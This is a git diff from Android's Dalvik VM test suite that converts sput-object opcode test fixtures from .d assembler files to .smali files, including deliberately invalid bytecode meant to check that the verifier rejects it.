+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static t:I
+
+.field public static value:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput v1, Ldot/junit/opcodes/sput_object/d/StubInitError;->t:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/T_sput_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/T_sput_object_13.smali
new file mode 100644
index 0000000..e5ad151
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/T_sput_object_13.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_13;
+.super Ljava/lang/Object;
+.source "T_sput_object_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/StubInitError;->value:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.d
deleted file mode 100644
index 89ed274..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_14.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_14
-.super dot/junit/opcodes/sput_object/d/T_sput_object_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_object/d/T_sput_object_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()Ljava/lang/Object;
-.limit regs 2
-
-       sget-object v0, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_p1 Ljava/lang/Object;
-       return-object v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_p1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali
new file mode 100644
index 0000000..86baed4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_14.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_14;
+.super  Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()Ljava/lang/Object;
+.registers 2
+
+       sget-object v0, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_p1:Ljava/lang/Object;
+       return-object v0
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_p1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.d
deleted file mode 100644
index 61d48e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_15.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_15
-.super dot/junit/opcodes/sput_object/d/T_sput_object_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_object/d/T_sput_object_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_pvt1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali
new file mode 100644
index 0000000..7d82fe8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_15.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_15.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_15;
+.super  Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_pvt1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.d
deleted file mode 100644
index b46acdf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_17.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_17.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali
new file mode 100644
index 0000000..9faa755
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_17.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_17;->st_i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.d
deleted file mode 100644
index 21c4c5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_18.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali
new file mode 100644
index 0000000..ed272d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_18.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/d/T_sput_object_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.d
deleted file mode 100644
index 5b6c088..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_2.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_2
-.super java/lang/Object
-
-.field public static st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1234    
-       sput-object v0, dot.junit.opcodes.sput_object.d.T_sput_object_2.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.smali
new file mode 100644
index 0000000..ae1e977
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_2;
+.super Ljava/lang/Object;
+.source "T_sput_object_2.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    sput-object v0, Ldot/junit/opcodes/sput_object/d/T_sput_object_2;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.d
deleted file mode 100644
index 8d6c9df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_20.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_20
-.super java/lang/Object
-
-.field public static st_o Ljava/lang/String;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_20.st_o Ljava/lang/String;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.smali
new file mode 100644
index 0000000..5bea713
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_20;
+.super Ljava/lang/Object;
+.source "T_sput_object_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/String;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_20;->st_o:Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.d
deleted file mode 100644
index f09c1a9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_21.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_21
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali
new file mode 100644
index 0000000..53b51ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_21.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.d
deleted file mode 100644
index 4ae60e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_22.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali
new file mode 100644
index 0000000..edda48e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_22.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.d
deleted file mode 100644
index b440bb4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_23.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali
new file mode 100644
index 0000000..fadfdd3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_23.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.d
deleted file mode 100644
index 63a01e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_24.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-object v3, dot.junit.opcodes.sput_object.d.T_sput_object_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali
new file mode 100644
index 0000000..ad764d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_24.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       sput-object v3, Ldot/junit/opcodes/sput_object/d/T_sput_object_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.d
deleted file mode 100644
index 080efbc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_3.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_3
-.super java/lang/Object
-
-.field public static st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-        sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_3.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
